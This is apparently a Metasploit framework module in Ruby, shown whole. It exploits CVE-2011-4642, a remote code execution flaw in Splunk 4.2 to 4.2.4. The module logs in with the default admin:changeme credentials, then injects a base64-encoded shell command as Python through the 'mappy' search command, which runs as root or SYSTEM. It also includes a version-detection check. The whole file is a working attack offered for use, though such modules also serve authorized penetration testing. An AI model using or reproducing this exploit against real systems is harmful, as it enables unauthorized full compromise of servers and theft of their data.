## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Splunk Search Remote Code Execution', 'Description' => %q{ This module abuses a command execution vulnerability in the web based interface of Splunk 4.2 to 4.2.4. The vulnerability exists in the 'mappy' search command which allows attackers to run Python code. To exploit this vulnerability, a valid Splunk user with the admin role is required. By default, this module uses the credential of "admin:changeme", the default Administrator credential for Splunk. Note that the Splunk web interface runs as SYSTEM on Windows and as root on Linux by default. }, 'Author' => [ "Gary O'Leary-Steele", # Vulnerability discovery and exploit "juan vazquez" # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '77695' ], [ 'BID', '51061' ], [ 'CVE', '2011-4642' ], [ 'URL', 'http://www.splunk.com/view/SP-CAAAGMM' ], [ 'URL', 'http://www.sec-1.com/blog/?p=233' ], [ 'URL', 'http://www.sec-1.com/blog/wp-content/uploads/2011/12/Attacking_Splunk_Release.pdf' ], [ 'URL', 'http://www.sec-1.com/blog/wp-content/uploads/2011/12/splunkexploit.zip' ] ], 'Payload' => { 'Space' => 1024, 'Badchars' => '', 'DisableNops' => true }, 'Platform' => %w{ linux unix win }, 'Targets' => [ [ 'Universal CMD', { 'Arch' => ARCH_CMD, 'Platform' => %w{ linux unix win } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 12 2011')) register_options( [ Opt::RPORT(8000), OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]), OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ]) ], self.class) end def exploit @username = datastore['USERNAME'] @password = datastore['PASSWORD'] @auth_cookies = '' p = payload.encoded print_status("Using command: #{p}") cmd = Rex::Text.encode_base64(p) print_status("Attempting to login...") do_login send_request_cgi( { 'uri' => '/en-US/api/search/jobs', 'method' => 'POST', 'cookie' => @auth_cookies, 'headers' => { 'X-Requested-With' => 'XMLHttpRequest', 'X-Splunk-Session' => @auth_cookies.split("=")[1] }, 'vars_post' => { 'search' => "search index=_internal source=*splunkd.log |mappy x=eval(\"sys.modules['os'].system(base64.b64decode('#{cmd}'))\")", 'status_buckets' => "300", 'earliest_time' => "0", 'latest_time' => "" } }, 25) handler end def check res = send_request_cgi( { 'uri' => '/en-US/account/login', 'method' => 'GET' }, 25) if res and res.body =~ /Splunk Inc\. Splunk 4\.[0-2]\.[0-4] build [\d+]/ return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def do_login res = send_request_cgi( { 'uri' => '/en-US/account/login', 'method' => 'GET' }, 25) cval = '' uid = '' session_id_port = session_id = '' if res and res.code == 200 and !res.get_cookies.empty? res.get_cookies.split(';').each {|c| c.split(',').each {|v| if v.split('=')[0] =~ /cval/ cval = v.split('=')[1] elsif v.split('=')[0] =~ /uid/ uid = v.split('=')[1] elsif v.split('=')[0] =~ /session_id/ session_id_port = v.split('=')[0] session_id = v.split('=')[1] end } } else fail_with(Failure::NotFound, "Unable to get session cookies") end res = send_request_cgi( { 'uri' => '/en-US/account/login', 'method' => 'POST', 'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}", 'vars_post' => { 'cval' => cval, 'username' => @username, 'password' => @password } }, 25) if not res or res.code != 303 fail_with(Failure::NoAccess, "Unable to authenticate") else session_id_port = '' session_id = '' res.get_cookies.split(';').each {|c| c.split(',').each {|v| if v.split('=')[0] =~ /session_id/ session_id_port = v.split('=')[0] session_id = v.split('=')[1] end } } @auth_cookies = "#{session_id_port}=#{session_id}" end end end